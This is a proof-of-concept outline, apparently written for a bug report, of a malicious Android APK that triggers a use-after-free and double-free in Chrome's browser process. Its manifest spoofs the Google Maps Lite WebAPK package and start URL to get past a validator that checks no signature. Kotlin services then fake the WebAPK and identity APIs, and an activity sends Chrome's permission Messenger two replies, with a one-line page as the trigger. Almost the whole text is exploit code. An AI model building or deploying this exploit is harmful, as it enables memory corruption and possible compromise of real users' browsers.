Conceptual outline of the malicious Android APK required to trigger the UAF.
This is documentation only — building and testing requires an Android 13+ device
and an Android-targeted ASAN build of Chrome, neither of which is available here.

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AndroidManifest.xml (key elements)
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<manifest package="com.google.android.apps.mapslite">
  <application>
    <!-- Spoof WebAPK metadata so WebApkValidator.verifyMapsLite() passes
         (package-name match + START_URL prefix match, no signature check). -->
    <meta-data android:name="org.chromium.webapk.shell_apk.startUrl"
               android:value="https://www.google.com/maps/@0,0,1z"/>
    <meta-data android:name="org.chromium.webapk.shell_apk.scope"
               android:value="<attacker-origin-in-scope>"/>
    <meta-data android:name="org.chromium.webapk.shell_apk.runtimeHost"
               android:value="<chrome package name>"/>

    <!-- Service Chrome binds to via CATEGORY_WEBAPK_API. -->
    <service android:name=".FakeWebApkApiService" android:exported="true">
      <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.WEBAPK_API"/>
      </intent-filter>
    </service>

    <!-- Identity service so ChromeWebApkHost.checkChromeBacksWebApkAsync passes. -->
    <service android:name=".FakeIdentityService" android:exported="true">
      <intent-filter>
        <action android:name="org.webapk.IDENTITY_SERVICE_API"/>
      </intent-filter>
    </service>

    <!-- Activity launched by the PendingIntent we hand back to Chrome. -->
    <activity android:name=".PermissionReplyActivity" android:exported="true"/>
  </application>
</manifest>

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FakeWebApkApiService — implements IWebApkApi (AIDL stub)
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class FakeWebApkApiService : Service() {
  private val binder = object : IWebApkApi.Stub() {
    override fun checkNotificationPermission(): Int = PermissionStatus.ASK
    override fun requestNotificationPermission(
        channelName: String, channelId: String): PendingIntent {
      // Hand Chrome a PendingIntent that starts our PermissionReplyActivity.
      val i = Intent(this@FakeWebApkApiService, PermissionReplyActivity::class.java)
      return PendingIntent.getActivity(
          this@FakeWebApkApiService, 0, i,
          PendingIntent.FLAG_MUTABLE or PendingIntent.FLAG_UPDATE_CURRENT)
    }
    override fun getSmallIconId(): Int = 0
    override fun notificationPermissionEnabled(): Boolean = false
    override fun notifyNotificationWithChannel(...) {}
    override fun cancelNotification(...) {}
    override fun finishAndRemoveTaskSdk23(): Boolean = true
  }
  override fun onBind(i: Intent) = binder
}

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FakeIdentityService — returns Chrome's package name
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class FakeIdentityService : Service() {
  private val binder = object : IWebApkIdentityService.Stub() {  // or equivalent AIDL
    override fun getRuntimeHostBrowserPackageName(): String = "<chrome package name>"
  }
  override fun onBind(i: Intent) = binder
}

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PermissionReplyActivity — the actual trigger
============================================================
class PermissionReplyActivity : Activity() {
  override fun onCreate(s: Bundle?) {
    super.onCreate(s)
    // Chrome attached its Messenger as EXTRA_MESSENGER ("messenger") when it
    // called PendingIntent.send(..., extraIntent, ...).
    val messenger: Messenger = intent.getParcelableExtra("messenger")!!

    fun reply() {
      val m = Message.obtain()
      m.data = Bundle().apply { putInt("permissionStatus", 0 /* ALLOW */) }
      messenger.send(m)
    }

    reply()   // 1st: callback runs, native object is deleted.
    reply()   // 2nd: same callback_ptr → UAF + double-free in browser process.
    finish()
  }
}

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Trigger page (served from an origin inside the spoofed scope)
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<!doctype html>
<button onclick="Notification.requestPermission()">go</button>